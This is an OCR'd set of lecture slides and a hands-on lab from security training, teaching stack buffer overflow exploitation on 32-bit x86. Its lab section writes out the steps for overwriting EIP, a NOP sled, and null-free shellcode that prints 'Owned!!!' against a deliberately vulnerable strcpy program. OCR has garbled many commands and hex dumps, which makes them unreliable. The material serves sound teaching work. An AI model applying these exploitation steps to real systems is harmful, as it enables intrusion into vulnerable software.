+ But you want any user to be able to execute it



CHALLENGE 2: GETTING OUR INJECTED CODE TO RUN

.......................................................................................................

« All we can do is write to memory from buffer onward
+ With this alone we want to get it to jump to our code
« We have to use whatever code is already running

buffer

Thoughts?
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CHALLENGE 2: GETTING OUR INJECTED CODE TO RUN

.......................................................................................................

 All we can do is write to memory from buffer onward
+ With this alone we want to get it to jump to our code
« We have to use whatever code is already running

] I AROE \=3c \x2% .::

buffer

Thoughts?



CHALLENGE 2: GETTING OUR INJECTED CODE TO RUN

.......................................................................................................

« All we can do is write to memory from buffer onward
+ With this alone we want to get it to jump to our code
« We have to use whatever code is already running

$eip

I I AROE \=3c \x2% .::

buffer

Thoughts?



CHALLENGE 2: GETTING OUR INJECTED CODE TO RUN

.......................................................................................................

« All we can do is write to memory from buffer onward
+ With this alone we want to get it to jump to our code
« We have to use whatever code is already running

$elp

I I AROE \=3c \x2% .::

buffer

Thoughts?



CHALLENGE 2: GETTING OUR INJECTED CODE TO RUN

.......................................................................................................

« All we can do is write to memory from buffer onward
+ With this alone we want to get it to jump to our code
« We have to use whatever code is already running

$elip

I I AROE \=3c \x2% .::

buffer

Thoughts?



STACK & FUNCTIONS: SUMMARY

8.Jump back to return address: pop %eip




HIJACKING THE SAVED ZEIP

.......................................................................................................

$eip $ebp

Oxbff



HIJACKING THE SAVED ZEIP

.......................................................................................................

$eip $ebp

Oxbff



HIJACKING THE SAVED ZEIP

.......................................................................................................

$ebp %elp

Oxbff



HIJACKING THE SAVED ZEIP

.......................................................................................................

$ebp %elp

Oxbff

But how do we know the address?



HIJACKING THE SAVED ZEIP

.......................................................................................................

What if we are wrong?

$eip $ebp

Oxbff



HIJACKING THE SAVED ZEIP

.......................................................................................................

What if we are wrong?

$eip $ebp

Oxbff



HIJACKING THE SAVED ZEIP

.......................................................................................................

What if we are wrong?

$ebp $eip

Oxbff



HIJACKING THE SAVED ZEIP

.......................................................................................................

What if we are wrong?

$ebp $eip

IOxbde arcal I I VL A A TORANT L -

buffer
Oxbff

This is most likely data,
so the CPU will panic
(Invalid Instruction)



CHALLENGE 3: FINDING THE RETURN ADDRESS
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* |f we don’t have access to the code, we don’t know how
far the buffer is from the saved %ebp
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* |f we don’t have access to the code, we don’t know how
far the buffer is from the saved %ebp

» One approach: just try a lot of different values!

» Worst case scenario: it's a 32 (or 64) bit memory space,
which means 232 (264) possible answers



CHALLENGE 3: FINDING THE RETURN ADDRESS

.......................................................................................................

* |f we don't have access to the code, we don’t know how
far the buffer is from the saved %ebp

» One approach: just try a lot of different values!

» Worst case scenario: it's a 32 (or 64) bit memory space,
which means 232 (264) possible answers

 But without address randomization:
* The stack always starts from the same, fixed address

» The stack will grow, but usually it doesn’t grow very deeply
(unless the code is heavily recursive)



IMPROVING OUR CHANCES: NOP SLEDS

.......................................................................................................

nop is a single-byte instruction
(just moves to the next instruction)

$eip $ebp

IOxbde arcal I I VL A A TORANT L - |

buffer
Oxbff



IMPROVING OUR CHANCES: NOP SLEDS

.......................................................................................................

nop is a single-byte instruction
(just moves to the next instruction)

$eip $ebp

0 0C l l Oxbdf Inop nop nop ..| \x0f \x3c¢c \x2f ... I

buffer
Oxbff



IMPROVING OUR CHANCES: NOP SLEDS

nop is a single-byte instruction
(just moves to the next instruction)

Jumping anywhere

$eip tebp here will work

0 0C l \ Oxbdf Inop nop nop I \x0f \x3c \x2f ... I

buffer
Oxbff



IMPROVING OUR CHANCES: NOP SLEDS

.......................................................................................................

nop is a single-byte instruction
(just moves to the next instruction)

Jumping anywhere

$eip tebp here will work

0 0C l l Oxbdf Inop nop nop l \x0f \x3c \x2f ... I

buffer



IMPROVING OUR CHANCES: NOP SLEDS

nop is a single-byte instruction
(just moves to the next instruction)

Jumping anywhere

$eip tebp here will work

0 0C l \ Oxbdf Inop nop nop I \x0f \x3c \x2f ... I

buffer

Now we improve our chances
of guessing by a factor of #nops



BUFFER OVERFLOWS: PUTTING IT ALL TOGETHER

-------------------------------------------------------------------------------------------------------




BUFFER OVERFLOWS: PUTTING IT ALL TOGETHER
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BUFFER OVERFLOWS: PUTTING IT ALL TOGETHER

.......................................................................................................

But it has to be something;
we have to start writing wherever
the input to gets/etc. begins.

padding

$eip
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good
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buffer



BUFFER OVERFLOWS: PUTTING IT ALL TOGETHER
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But it has to be something;
we have to start writing wherever
the input to gets/etc. begins.

good
guess

seip padding

buffer

nop sled



BUFFER OVERFLOWS: PUTTING IT ALL TOGETHER

But it has to be something;
we have to start writing wherever
the input to gets/etc. begins.

good

padding quess

$eip

Oxbdf | nop nop nop .. \x0£f \x3¢c \x2f ... I

buffer

nop sled malicious code



BUFFER OVERFLOWS: PUTTING IT ALL TOGETHER

.......................................................................................................

good
guess %eip

nop sled malicious code



BUFFER OVERFLOWS: PUTTING IT ALL TOGETHER

nop sled malicious code



I1t1's time to get really serious




Buffer Overflow Attack — Hands-On Lab

The following is based on Ben Holland’s notes on buffer overflow attacks as a part of the Program Analysis for Cybersecurity
training for 2020 US Cyber Challenge security boot camps - https://ben-holland.com/pac2020/
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o e The details discussed in

I32-BITJs th

o - e this module assumes a

& @ . .

of ¥86 |[* 32-bit x86 architecture

O @]

00000000

X86 (32-bit) Registers Addresses are 1 Word/4 bytes/32 bits Little Endian Bytes Ordering
EAX — Accumulator register (general purpose register) Word Address Data
ECX — Counter register (general purpose register) > ! X OAO BOCOD
EDX — Data register (general purpose register) . . N
EBX — Base register (general purpose register) 0000000C |4 O|F 3|0 7|8 8| Word 3
ESP — Stack Pointer register 00000008 [0 1|EE|2 8|4 2| Word 2 r -1
EBP — Base Pointer register 00000004 |F2|F1|AC/OT| Word1

— OA|OB |OC |OD

ESI — Source Index register
EDI — Destination Index register
EIP — Instruction Pointer register

00000000 |AB|CD|E Ff? 8| Word 0

D WD VIS -

B >
width = 4 bytes

orl orl a




What do we need for this Lab?

 Virtual Box (6.0.x):
https://www.virtualbox.org/wiki/Download_Old_Builds 6 0

* The free hacking-live-1.0 live Linux distribution created by NoStarch
Press for the Hacking — The Art of Exploitation (2" Edition) book.

 Virtual Machine: http://www.benjaminsbox.com/pac/HackinglLive.ova

* The distribution is an x86 (32-bit) Ubuntu distribution and contains all the
tools you will need to complete the lab already preinstalled.

* Credentials: pac:badpass



http://www.benjaminsbox.com/pac/HackingLive.ova

What are we going to do?

* We are going to exploit the buffer overflow vulnerability in the code
below by injecting a shellcode that prints Owned! ! ! on terminal.

#include <stdio.h>
int main(int argc, char **argv) {
char buf[64];

strcpy(buf, argv[1l]);

}



Before we start!

Shell Basics

man : A command line interface to the command reference manual
pwd : Prints the current working directory

cd : Changes the working directory

cat : Concatenates (prints) a file to the standard output

grep : Searches for a pattern in a file

| : Pipes are used to redirect output of a program to the input of another program
> : Redirect stream to write to a file

>> : Redirect stream to append to a file

< : Redirect file contents into program stdin

~ : A path shortcut to the home directory (e.g. cd ~/Desktop)

$(cat myfile) : Evaluates an expression

“cat myfile  : Backticks can also be used to evaluate an expression
hexdump : Displays file contents as hexadecimal

nano /vi /hexedit : These are file editors

wc : Prints newline, word, and byte counts of a file

Important Note

The presented exploitation process merely
provides a set of guidelines on how to perform
buffer overflow attacks. The associated virtual

machine has security features turned off and
everything setup for performing the lab.
Therefore, the discussed exploitation may not
work on other Linux distributions.



Compile and Run the Vulnerable Program

file Edt View Terminal Tabs Help

pacgpac:-/bof § cat basic vuln.c

#include <stdio.h>

int main(int argc, char *argv(]) { Compilation command
char buf[64);

) strepy(buf, argv(l)); “-g” denotes that debug symbols should

pacgpac:-/bof § gce basic vuln.c -g -0 basic wuln.o be added to the compiled binary
pacgpac:-/bof § ./basic vuln.o AMMQ
pacEpac:-/bot § I

|

runs our program with a string input of 5 As



Inspecting Compiled Code with GNU objdump

737 = 75 |

fle Edt View Terminal Taps Help

PRCRDAC s objoump -M intel -D Basic win.o | grep -A20 main,:
08048374 <main>:
iy - el The “—M intel” option specifies that the assembly instructions should
8048377 83 ec 58 sub  esp,Bx58 be printed in Intel syntax instead of the alternative AT&T syntax
804837 a: 83 4 1O and esp, Oxfffeeeee
T X 0 . q . . .
iy pn e o oo o The objdump program will spit out a lot of information, so we can pipe
s et v Sax.OWD IR [etpe12) the output into grep to only display 20 lines after the line that matches
: C eax, . .
8648382 8b 09 sov  eax,DWORD PTR [eax] the regular expression “main.:”
B804838c¢ - MM OV OMORD PTR [esped) , cax
8648390 Bd 45 b8 lea eax, [ebp-72) .
Isoaam- 89 04 24 sov_ DWORD PTR [esp).eax | Notice that the call to strcpy occurs at
864839 - B o5 1t 17 11 call 8648200 <strcpyeplts] (@)@
. o o = memory address 0x08048396
BO4839¢: c3 ret
804839 - % nop
B86483%¢: 90 nop
8048391 : 90 nop

08048300 < 1ibc csu fini>:
pacpac rs

Our program code is stored in memory, and every
instruction is assigned a memory address



Using GDB to Run our Vulnerable Program

fle Edit View Jerminal Tabs Help Running the GNU Debugger (GDB) in

pacgpac:-/bof § gdb -q basic wuln.o ® i - i
Using host Libthread db Library “/LAB/t1s/1686/cmov/Libthread éb, 50, 1" qwte mode ( q) for baSIC—VUIn'O

Set a breakpoint at the

. . (gdb) break main
main function Breakpoint 1 at Sx8648384: file basic wuln.c, line 4.
(gdb) run
Starting program: /home/pac/bof/basic vuln.o
Run the program “run” '
: prog Breakpoint 1, main (argosl, argve@udffffB8ed) at basic vuln.c;‘@_. Reached the breakpomt at
with empty arguments 4 strcpy(but, argv(l]): function main
{gdb) info registers
eax axP 2} . .
Inspect the registers ecx OxddeOfel] 1222704769 h X86 (32'b|t) RegISters
. . edx oxl 1 _ . .
“info reglsters” pren exd7 06114 1206127500 EAX Accumulato.r register (general purpos.e register)
esp Sxbt 111500 Exd 111800 ECX — Counter register (general purpose register)
A CPU register is like a special internal ety Qxbf 111858 x I 111858 EDX — Data register (general purpose register)
variable that is used by the processor esi 0xb8000ced - 1207956256 EBX — Base register (general purpose register)
edi ud 4 B : :
To view the value of a single eip O B048384 OxB048384 <main+16> > ESP = Stack Po.lnter reguster
register (e.g., EIP), then we use the eflags @x200286 [ PF SF IF ID | EBP — Base Pointer reglster
command: “info register eip” cs 73 115 ESI — Source Index register
55 :';g g«; EDI - Destination Index register
ads X _ . . .
o8 &x7b 123 EIP — Instruction Pointer register
fs P L)
03 &3l S J
uit GDB —Q v s E—
Q The program is rirnan. Exit anpey? (y or n) y @@= Answer “y” to confirm quitting
pacgpac:-/botf §




Using GDB to Run our Vulnerable Program
7 P ¥ 50

fle Edt View Terminal Tabs d’olp

@ Run GDB on basic_vuln.o

pacEpac ;- /bof § gdb -q basic win.o
View the program’s Using host Llibthread db library “/lib/t1s/1686/cmov/Libthread db.so.1".
.—Q(ga) 1ist
source code 1 #include <stdio.h>

2 int main(int argc, char *argv|]) {

3 char buf|[64);

< strepy(buf, argv(l]):

s } . . .
(9m) disass main E) ® Disassembles function main
Dump of assesbler code for functiom main:

O0SM8374 <mainsd>: push Setp

OxBS4837S wmainel»: "y Yesp.\ebp

08048377 <mained>; sub $0x58 , Nesp

0S8 7a <maineb>: and SOxfffr1110. esp

OxBE4837d maine>; "~y $0x0 , \eax

OS8382 <main+ld>: sub Seax, \esp

Ox0S048384 maine 16> oV Oxc(Nebp) . Seax

O0S48387 <amain+19>: add x4, Neax

0804838 amaine22»: mov (Neax) Neax

x0804838¢ maineld>: mowv Yeax, 0xd(Nesp)

O0S8390 <main+28>: lea OxfffrfIbl(Nebp)  Neax

8848393 amaineIls: ™y Seax, (\esp)

- — = <str<m1t>le Notice that the call to strcpy occurs
I_e.mm maine3d»:  leave at memory address 0x08048396
|

[ES53830c =minedt>:  ret
End of assesbler dump.
Quit GDB (o®) quit
pacgpac: A Next, we will set a breakpoint at the memory address

of the return instruction after strcpy completes

The goal is to be able to inspect machine registers before and after the strcpy function call



Inspecting Registers with Normal Input
T T = )

fle Edt View Terminal Tabs Help

PRCRpaC f % 0db -q basic win.0o
Using host Libthread éb Library “/LAL/t1s/1686/cnov/ L ibthread db.so. 1",
(gdb) break *main+4

Breakpoint 1 at OxBO4E3I%: file basic win.c, Line 5.

(gdb) run AAAAA

Starting program: /home/pac/bof/Basic vuln.o AAAAA

Set a breakpoint at the ® Run GDB on basic_vuln.o
memory address of the
return instruction after

strcpy completes

Breakpoint 1, 0xB804839¢ in main (argc=134513524, argv=@x2) at basic wiln.c:5 e—. Reached the breakpoint
Run the program 5 }

(gdb) info registers

with 5 As input eax Oxb? ¢ 1800 1073743872 ™
ecx Oxfffffon -551
: edx Oxbffffald 1073743315
Inspect the registers ebx axb7fa61 14 -1208127560
“info registers” esp Oxbf 11 184c Oxbf11184c
Oxbfff1Ba8 Subfff1Ba8 . . 0 oxpl =
- S Eo000ce 1207956256 We entered a string that easily fit within our buffer,
ed1 0x0 0 i S v
e F— P — > so the :C.tate of these registers is within the expected
eflags Ox200246 [ PF 2F 1F ID | operation of the program.
cs 0x73 115
ss 0xTo 123 What would happen if we entered a string that was longer than 64
ds 8x7Tb 123 o) it i g 2
- &xTo 123 characters? and how would it impact the operation of the program?
s 020 )
gs 0x33 51 J

Quit GDB @ (o) st o

The program is running. Exit asyway? (yornm) vy e—. Answer Y
pacipac R |

to confirm quitting



Crafting a Long Input

Jermnal

Fle Edit View Jerminal Tabs Help Outputs 100 As and stores
y it into long_input file

p@pac:~/bof §

pac@gpac:~/bof § perl -e 'print "A"x100' > long input 0
pacgpac:~/bof § cat long input




Inspecting Registers with Long Input

Fle Edt View Terminal Tabs Help

Set a breakpoint at the pacgpac: o® -q basic vin.o @) ® Run GDB on basic_vuln.o
memory address Of the Using host Libthread db library */11b/tis/1686/cmov/Libthread éb.s0.1".
. . (Qdb) break *sain«4d
return instruction after Breakpoint 1 at OxBM839¢: file basic win.c, line §
(gdb) rum cat long input
strcpy completes Starting program: /home/pac/bof/basic win.o “cat long input
; Breakpoint 1, OxB804339¢ in main (argceCannot access memory at address 0x41414149 e_. Reached the breakpoint
Run the program with the ) at basic wuln.c:$
. 5 )
Iong mpUt {(gdb) info registers
run ~cat long_input” cax Oxd 1111720 1073743968
ecx Oxffff 1038 552
Note the difference between " and * edx Gxb 11 fa2d -1073743315 ) . . .
ebx 0-b7-'°6;" lg?ﬂf;ﬁm Notice that we got a memory violation and the EBP register
[ Gabftffiec Ox e . . .
Inspect the registers ||$o‘2 Bx41414141 Bxd141414) |@—. was overwritten with 0x41414141 (hex for AAAA). This
es1 D DB c0 -1207956256 .
“info registers” por - ° means we have some control of the EBP register!
eip 0xB04839¢ 0xBOSBIIC <main+s0>
eflags 8x200246 | PF 2F IF 1D |
¢s 0x73 115
£11 x7o 123
ds x7o 123
es 7o 123
fs 0x9 0
gs Ox33 51 .
Continue running past the ./e (o) < Note th.at the I.EIP register has been
breakpoint Continuing overwritten with 0x41414141 (hex for AAAA)
Program received sigral SIGSEGY ation fault
041414141 in 77 ()
Quit GDB @) (o) cuit
The program is rumning. Exit anyway? (yorn) y W i itti
ros {—e Answer “y” to confirm quitting




Memory Layout

#include <stdio.h>
int main(int argc, char **argv) {
char buf[64];

strcpy(buf, argv[1]);

}

*Read more about possible padding for proper alignment in X86 architecture:
https://stackoverflow.com/questions/4162964/whats-this-between-local-var-and-ebp-on-the-stack
https://stackoverflow.com/questions/35249788/waste-in-memory-allocation-for-local-variables
https://stackoverflow.com/questions/2399072/why-gcc-4-x-default-reserve-8-bytes-for-stack-on-
linux-when-calling-a-method

OXFFFFFFFF

EBP+12
EBP+8

argv

argc

. Next Instruction EBP+4
g Previous EBP EBP
G) ) EBP-4
x 8-byte Padding
g see footnote EBP-8

buf[63]

buf[64]
buf[e] EBP-72

0Xx00000000

The drawing does take into consideration possible padding of
values in memory for maintaining proper alignment*

Variables/Buffers filled



Exploitation |dea

 The first local variable is located at
EBP-4. Can we use this information
can we exploit the program?

* Since we can control the data
placed in the buffer and we can
control what the program will
return to (address: EBP+4) and
execute next we could place some
machine code in the buffer and
trick the program into running our
malicious code.

Stack Grows

OXFFFFFFFF

argv EBP+12
argc EBP+8
Next Instruction EBP+4

Previous EBP EBP
: | EBP-4
EBP-72

0x00000000

Variables/Buffers filled



Exploitation |dea

 First, we should figure out exactly
what offset in our input the EBP
register gets overwritten.

* Second, we should build some
simple Shellcode (machine code) to
test our exploit.

Stack Grows

OXFFFFFFFF

argv

argc

Next Instruction

Previous EBP

0x00000000

EBP+12
EBP+8
EBP+4

EBP
EBP-4

EBP-72

Variables/Buffers filled



Finding Exact Offset for EBP and EIP Registers

One technique for finding the exact offset of where the EBP register
is overwritten is to perform a binary search on length of the input.

PRCRpDAC Jbasic win
Py o /basic wln
Segmentation fault

Py o Foasic win
pacipac Jbasic wuln.
Segmentation Tault

pacipac : Jbasic vuln
[+ &% S JOasiC wiln
pacipac : Jbasic wuln

Illegal instruction
PO O

Here we see that the EBP register is

.0

0

0

0

.0

0

.0

$iperi
S(peri

Siper
Siperl

S(perl .
siperl .

Siperi

-€

¢

¢

-€

-

probably overwritten at the 76t byte.

We get an illegal instruction at offset 76

because we overwrote the EBP not the EIP.

‘primt
‘primt

‘pram
‘primt

‘praimt
‘primt ©
‘prant "A%x

*A*x
*A"x7

"A"xb4")
*A*x100°)

A" xJ747)

-

~
J

W

Crafting the Malicious Input (Shellcode)
We should create an input of 76-4=72 bytes to use as malicious input (shellcode)
before overwriting the address values of EBP an EIP to run our shellcode.

Stack Grows

OXFFFFFFFF

argv

argc

Next Instruction

Previous EBP

buf[63]

buf[64]

buf[@]

0x00000000

EBP+12
EBP+8
EBP+4

EBP
EBP-4

EBP-72

Variables/Buffers filled



Writing Shellcode

* Next, let’s write some simple shellcode to
print “Owned! !"” if we are successful.

* Writing shellcode is hard problem, so feel
free to choose from available online
resources the shellcode you like:

 Shell Storm - http://shell-storm.org/

* Exploit Database - https://www.exploit-
db.com/shellcodes

Stack Grows

OXFFFFFFFF

argv

argc

Next Instruction

Previous EBP

buf[63]

buf[64]

buf[@]

0x00000000

EBP+12
EBP+8
EBP+4

EBP
EBP-4

Variables/Buffers filled

EBP-72



Writing Shellcode

section .data shellcode.asm
msg db 'Owned!!’',0Oxa

section .text

global start

_start:

swrite(int fd, char *msg, unsigned int len)

mov eax,4 ; kernel write command

mov ebx,1 ; set output to stdout

mov ecx,msg ; set msg to Owned!! string

mov edx,8 ; set parameter len=8 (7 characters followed by newline character)
int 0x80 ; triggers interrupt 80 hex, kernel system call

;exit(int ret) Note that the “;” character indicates a

mov eax,1 ; kernel exit command .
comment and does not need to included
mov ebx,0 ; set ret status parameter ©=normal )
in the assembly source

int 0x80 ; triggers interrupt 80 hex, kernel system call

More on the Linux x86 (32-bit) System Calls
https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit



Compiling the Shellcode

Jerminal

Ble Edt View Jerminal Tabs Help

pacipac:-/bof § cat shellcode. asa
section .data

g db ‘Owmed!!’ . Oxa

section .text

global start

start:

wwrite{int fd, char *msg, unsigned int len)
mov eax. 4

sexit{int ret)
mov ecax,]
msov ebx.0
int 0xBO

e !
4

PO - $ iou 1 elf shellcode.asn @ ® compile the shellcode, it produces shellcode.o
pacgpac:-/bof §

The “-f elf” option specifies that this should produce Executable and Linkable
Format (ELF) machine code, which is executable by most x86 *nix systems.



Inspecting Compiled Shellcode with objdump
7 =

Fle Edt View Terminal Tabs Help
pacgpac:-/bof 4§ objdump -M intel -d shellcode.o o—OInspect the compiled shellcode with objdump

shellcode.o: file format elf32.1386

Disassembly of section .text:

00000000 < start>
0: bl o4 moY cax, x4
> bbel "ov  abx,0xl Notice that there are several 0x00 bytes!
a: 9|0 ™o ecx, b o . .
f: ba @8 mov  edx, 08 This is a problem because we intend to pass our input over the
4: ca 8 int 0x80 command line as a string and strings a terminated with a NULL (0x00).
16: b8 01]00 00 0O noY ecax,0x] . . . . .
1b:  bb[69 60 80 69 mov by, 8xd The command line will stop reading our input after just two bytes once
20: int 0xB0
md': - DOf 9

We need to use some tricks to rewrite our shellcode so that it does not contain any 0x00 bytes

Note: Depending on our architecture we may also need to avoid some other bytes as well. For
example, the C standard library treats OxOA (a new line character) as a terminating character as well.



Fixing Shellcode

section .data

msg db 'Owned!!',0xa
section .text

global _start
_start:

shellcode.asm

swrite(int fd, char *msg, unsigned int len)
mov eax,4

mov ebx,1

mov ecx,msg

mov edx,8

int ox80

;exit(int ret)
mov eax,1
mov ebx,0
int ox80

For more information on developing shellcode refer to: The Shellcoder's
Handbook: Discovering and Exploiting Security Holes 2@ Edition by Chris Anley

global _start
_start:

section .text

shellcode2.asm

;clear out the registers we are going to need
eax, eax
ebx, ebx
ecx,ecx
edx, edx

Create the needed null bytes using an
XOR of the same value
(anything XOR’d with itself is just 0)

; write(int fd, char *msg, unsigned int len)
mov al,4

mov bl,1

; Owned!!!1=0x4F,0x77,0x6E,0x65,0x64,0x21,0x21
push 0x21212164
push Ox656E774F
mov ecx,esp

mov dl,8

int ox80

Store the string on the stack and use the stack
pointer to pass the value to the system call.
Remember that since we are pushing these characters

onto a stack, we have to push them on in reverse order so

; exit(int ret) that they are popped of later in the correct order.

mov al,1l
Xor ebx,ebx

int ox80



Compiling the Shellcode

ferminal o rx

ple Edt View Jerminal Taps Help
PaCERaC i~ /bot § cat shellcodel. asa

section . text

global start

start:

;clear out the registers we are Qoing to need
XOr eax,eax
xor ebx,ebx
XOr ecx,.ecx
XOr edx,edx

; write(int fd, char *msg, unsigned int len)
sov al. .4

sov bl,1

; Owmed! ! ' oBxdF, 0x77, 0x6E , 0x65, 0x64, 021, 0x21
push 8x21212164

push Bx656E774F

DOV eCx,esp

sov 4.8

int 0x80

;oexitiint ret)
msov al,l

‘o' mlm
int 030

pacgpac:-/bof § nase -f elf shellcose2.ass @) ® compile the shellcode, it produces shellcode2.0
PRCEPaC i~ /bot § I



Inspecting Compiled Shellcode with objdump

ferminal

fle Edt \vew Terminal Tabs Help
pacEpac:-/bol § objdump -M intel -d smuoocz.oo—omspect the compiled shellcode with objdump

shellcodel . o: file format el732-1386
Disassesbly of section . text:

00000000 « start»:

0: 31c¢o xOr Cax, eax

2: 31 db xor ebx, ebx

4: 31 9 XOf eCx, ecx

6: nm xor odx, edx

8: 04 L al.0xd

a: blol oy bl,.oxl e

c: 68642121 20 push  @x21212164 NOtICe that there are
11: &85 41 77 6 65 push  OubSEe7741

16: 89 el oV ocx, e5p

18: 62 08 v a0 no 0x00 bytes!
1a: cd 8O int L

lc: B0l nov al.0x)

le: 3 d xor ebx, ebx

20 <d 80 int 080



Building the Exploit: Appending Shellcode

£ )

fle Edt \View Jermwnal Tabs Help

P ¢ chjimp M ntel 4 shellcoser o (=== Inspect the compiled shellcode with objdump

shellcodel . o: file format el132.1386
Disassesbly of section ,text:

0000000 « start»:

0: 31cO xor eax, eax
2: 31 db xXor ebx , ebx
4: 31 9 xor ecx, ecx
6: ) O 7 xor edx, edx
8: 0o 04 20V al,0x4
a: bl 01 nov bl,0x1
c: 64212121 push Bx21212164 .
11: 68 4f 77 e 65 push  Ox656e774¢ Print out the content of
16: 89 el OV ecx, e5p .
18: b2 08 sov  dl,0x8 the compiled shellcode
la: cd B0 int OxB80
1¢: 0o 01 20V al, 0x]
le: 31l db xor ebx, ebx
20 <d B8O int 0x80
pacipac 8§ for 1 in S{cbjdump -d shellcodel.o |grep ** * |cut -f2); do echo -n "\x"$1; done; echo

VAT eSO T O3 1\ T o3 1 a2\ b8 B\ x b3\ B 1\ B8\ B4 2 1\ x2 1\ x2 1\ 68\ x4 M\ x T\ x6e\ 65\ B9\ xe 1\ 2\ x B8\ x o\ B8\ x b8\ x8 1\ 23 1\ xaid,
xcd\ xB0

Print out the hex representation

pacEpac: f 4§ perl e ‘print '\lll\l(O\l]l\lO\lll\x(9\l!l\ld]\lw\lu\lbl\101\168\164\12l\l?l\l}l\lﬁﬂ\l‘f\l77\!66\!65\189\!01\POf the Complled She”code

xb2\ B8 e\ xBO RO\ x D1\ x3 1 et \ xcd\xB0* * > payload

pacipac: f § w payload

we: payload:l: Isvalid or xrélc!c mhxm
0 1 3 payload —

pacgpac:-/bot 4 Using the we command we count the number of bytes in

the file and observe that our shellcode consists of 34 bytes

content to file payload



Building the Exploit: Appending Shellcode

* Using the we command we counted the
number of bytes in the file and observed
that our shellcode consists of 34 bytes.

 Since our target buffer (buf) can
comfortably hold 64 bytes we fill the first
64-34=30 bytes with No Operation (NOP
0x90) instructions.

Stack Grows

OXFFFFFFFF

argv

argc

Next Instruction

Previous EBP

buf[63]

buf[64]

buf[@]

0x00000000

shellcode

EBP+12
EBP+8
EBP+4

EBP
EBP-4

EBP-72

Variables/Buffers filled



Building the Exploit: NOP Sledding

* This instruction tells the CPU to do nothing
for one cycle before moving onto the next
instruction.

A series of NOPs creates what we call a
NOP sled, which adds robustness to our
exploit.

* This way we can jump the execution of the
program to any instruction in the NOP sled
and still successfully run our shellcode.

Stack Grows

OXFFFFFFFF

argv

argc

Next Instruction ‘

Previous EBP

buf[63]

buf[64]

buf[@]

0x00000000

QE
O E
o
=
v
< B
(7]
NOP
NoP

EBP+12
EBP+8
EBP+4

EBP
EBP-4

Variables/Buffers filled

EBP-72



Building the Exploit: NOP Sledding

fle Edit View Jerrunal Tabs Help
pacipac f § objdump -M intel -d shellcodel.o

shellcode. 0! file format elf32.1386
Disassembly of section .text:

00000000 < start>:

0 31 co xor oaX, cax

2: 31 db xor ebx, ebx

4: 31 xor ecx, ecx

6: 3l @2 xor edx, edx

8 0o 04 nov al,0x4

a: B30l 20V bl,0x1

c: 6864212121 push Bx21212164
11: 68 41 77 6« 65 push  BGx656e7741
16: 8 el nOV ecx, esp
18: b2 068 20V al,0x8

la: «¢d 80 int 0x80

1c: 0o 01 "oV al,Bxl

le: 31 db xor ebx, ebx
20: cd B0 int oxB0

PRCEDAC % for £ in $(cdjdump -4 shellcodel.o |grep * * |cut -12); do echo -n "\x'$i; done. echo

V1T ee @O 1\ a3 1 \ec 9\ S 102\ b oD\ b 3\ o0 1\ B8\ 68\ 2 1\ 2 1\ 2 1\ o8\ e £\ T N xS\ a9 v 1\ b 27 e 8 xod\ o800\ x b8\ 0 1\ 31\ xdb,
xcd\xB

pacipac : 5 perl e "print "\ 1Ucc® O3 1o o3 D\ 9\ S 1 0nd 2\ b oo\ xb 3ol 1 \oeB8\ obd 2 1\ e 2 1\ 2 1\ eS8\ xd O\ T e\ b S\ 89\ xe 1\,
xb2\ B8\ e\ xBO' LR\ XD 131\ b\ xcd\ x 88" > payload
pacipac : 5 wC payload

wC: payload:1l: Invalid or incomplete multibyte or wide character

0 1 34 payload
pocaac: Lot 5 perl e print “\90°x(64.34) > p ()@ Write (64-34) NOPs “\Xx90”

P 5w nop
wC: nop:l: Invalid or incomplete sultibyte or wide character

e 03 i i it fi
et o s enpron O @ Put the NOPs first into exploit file
PRCEpaC : I 4 cat payload »» exploit &

m;:: S 5 W QID{OXQ

we ! cublon:l: Invalid or incomplete multibyte or wide character ‘.Append the Sh@”COde to eXPIOit f||e
0 164 expl
pacipac: y D'O: .

Observe that our exploit consists of 64 bytes

Stack Grows

OXFFFFFFFF

argv EBP+12
argc EBP+8
Next Instruction EBP+4
Previous EBP EBP
EBP-4
EBP-72

0x00000000

Variables/Buffers filled



Testing the Exploit

At this point it would be a good idea to test out your exploit, if it will
be able to successfully print “Owned! ! 1”,

nt ?ain(int arge, char **argv)q{ The harness works by returning main to the argv
int *ret;

ret = (int *)&ret+2; buffer, forcing the CPU to execute data passed in

(*ret) = (int)argv[1]; the program arguments.
Probably not a best practice as far as C programs go!

} harness.c

1> ferminal = e
File Edit View Terminal Tabs Help

pac@pac : gcc harness.c -0 harness.o G—QComp”e harness.c

pacEpac : ./harness.o cat exploit
Owned! ! ! pac@pac:

You should see that “Owned!!! U e s el e

ot printed to the console. .
gotp epr0|t content as argument




s it good enough to exploit our program?

OXFFFFFFFF

How to fill this data for

EBP+12
1 o
the exploit to work? ____argc A
- Next Instruction EBP+4 @
3 Previous EBP EBP £
© . eBp-4 Q&
< @
o o]
2 buf[63] [
)
>

buf[64]
buf[@) EBP-72

0x00000000



Building the Exploit: Overwriting EBP and EIP

We know the EBP register starts getting overwritten after 72 bytes of our input, so after our payload we add 72-
64=8 bytes of filler followed by another 4 bytes for the EBP address and another 4 bytes for the return address

(remember the return address is just EBP+4).

Jermnal

File Edit View Terminal Tabs Help

pac@pac:~/bof $ perl -e 'print "\xCC"x((72+4+4)-64)' >> exploit o—OWrite (72+4+4-64) “\xCC”
pacgpac:~/bot § hexedit exploitl] @— — just as a palceholders

View the exploit file

o

File Edit View Terminal Tabs Help

00000000 190 90 90 90 90 90 90 90 96 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9O .......iiiiiiiiiiniaaaaaa
00000018 |96 90 96 90 9090|31C9 3108 31C9 31D2B0664 B3 616864 21 21 21 68] ......1.1.1.1.....hd!!!'h
00000030 |4F 77 6E 65 89 E1 B2 68 (D 806 B6 61 31 DB CD 806 CC CC CC CC CCCCCC Owne........ 1
00000048 |JCC CC CC CCIJCC CC CC CChmeme W eennnns
— Shellcode
l Placeholder for overwriting
Placeholder for overwriting EIP register’s value

EBP register’s value



Building the Exploit: Overwriting EBP and EIP
vorsied [

File Edit View Terminal Tabs Help /
00000000
00000018
060000030
00000048
—9 Shellcode
Placeholder for overwriting
Placeholder for overwriting EIP register’s value

EBP register’s value

File Edit View Terminal Tabs Help

00000000 90 90 90 90 90 90 90 90 96 90 90 90 90 90 90 90 90 90 90 9% 90 90 90 W .........iiiiiiiiiiiaaann
00000018 90 90 9 9% 999 31 CO6 31 DB31C9 31D2B064 B3016864 21212168 ......1.1.1.1 hd!!'h
0000PO30 4F 77 6E 65 89 E1B268 (DB8OBOOL 31DBCDBO CCCCCCCC CcCcccccC Owne........ )
